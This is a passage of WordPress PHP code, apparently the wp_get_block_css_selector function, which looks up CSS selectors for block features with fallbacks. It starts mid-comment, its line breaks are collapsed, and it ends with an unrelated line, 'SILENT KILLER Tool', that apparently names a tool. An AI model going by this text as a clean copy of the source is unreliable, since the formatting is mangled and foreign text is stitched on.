convert to an array. if ( is_string( $target ) ) { $target = explode( '.', $target ); } // Feature Selectors ( May fallback to root selector ). if ( 1 === count( $target ) ) { $fallback_selector = $fallback ? $root_selector : null; // Prefer the selectors API if available. if ( $has_selectors ) { // Look for selector under `feature.root`. $path = array_merge( $target, array( 'root' ) ); $feature_selector = _wp_array_get( $block_type->selectors, $path, null ); if ( $feature_selector ) { return $feature_selector; } // Check if feature selector is set via shorthand. $feature_selector = _wp_array_get( $block_type->selectors, $target, null ); return is_string( $feature_selector ) ? $feature_selector : $fallback_selector; } // Try getting old experimental supports selector value. $path = array_merge( $target, array( '__experimentalSelector' ) ); $feature_selector = _wp_array_get( $block_type->supports, $path, null ); // Nothing to work with, provide fallback or null. if ( null === $feature_selector ) { return $fallback_selector; } // Scope the feature selector by the block's root selector. return WP_Theme_JSON::scope_selector( $root_selector, $feature_selector ); } // Subfeature selector // This may fallback either to parent feature or root selector. $subfeature_selector = null; // Use selectors API if available. if ( $has_selectors ) { $subfeature_selector = _wp_array_get( $block_type->selectors, $target, null ); } // Only return if we have a subfeature selector. if ( $subfeature_selector ) { return $subfeature_selector; } // To this point we don't have a subfeature selector. If a fallback // has been requested, remove subfeature from target path and return // results of a call for the parent feature's selector. if ( $fallback ) { return wp_get_block_css_selector( $block_type, $target[0], $fallback ); } return null; }
SILENT KILLER Tool